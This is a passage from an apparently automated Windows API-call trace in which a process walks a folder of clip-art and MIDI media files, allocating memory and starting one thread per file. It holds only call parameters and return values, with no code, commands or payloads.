	[0269.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2538
	[0269.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.802] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1
	[0269.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x253c
	[0269.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.804] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1
	[0269.804] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2540
	[0269.807] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.807] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1
	[0269.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2544
	[0269.809] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.810] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1
	[0269.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2548
	[0269.811] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.812] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1
	[0269.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254c
	[0269.814] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.814] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x72, dwReserved1=0x0, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1
	[0269.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2550
	[0269.817] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.818] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1
	[0269.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2554
	[0269.821] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.821] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1
	[0269.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2558
	[0269.824] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.824] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1
	[0269.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x255c
	[0270.043] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.044] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x72, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1
	[0270.044] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2560
	[0270.047] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.048] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1
	[0270.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2564
	[0270.050] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.051] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x72, dwReserved1=0x0, cFileName="RECYCLE.WMF", cAlternateFileName="")) returned 1
	[0270.051] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2568
	[0270.053] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.054] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x175f, dwReserved0=0x72, dwReserved1=0x0, cFileName="ROAD_01.MID", cAlternateFileName="")) returned 1
	[0270.054] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x256c
	[0270.057] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.057] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x278a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SAFRI_01.MID", cAlternateFileName="")) returned 1
	[0270.057] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2570
	[0270.059] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.060] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1
	[0270.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2500
	[0270.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.734] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1
	[0270.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2574
	[0270.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.737] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1
	[0270.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2578
	[0270.747] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.747] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1
	[0270.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x257c
	[0270.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.749] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1
	[0270.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2580
	[0270.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.752] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1
	[0270.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2584
	[0270.754] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.755] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1
	[0270.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2588
	[0270.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.757] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1
	[0270.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258c
	[0270.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.761] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1
	[0270.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2590
	[0270.762] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.763] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1
	[0270.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2594
	[0270.765] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.766] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1
	[0270.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2598
	[0270.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.768] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1
	[0270.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0270.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x259c
	[0275.272] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
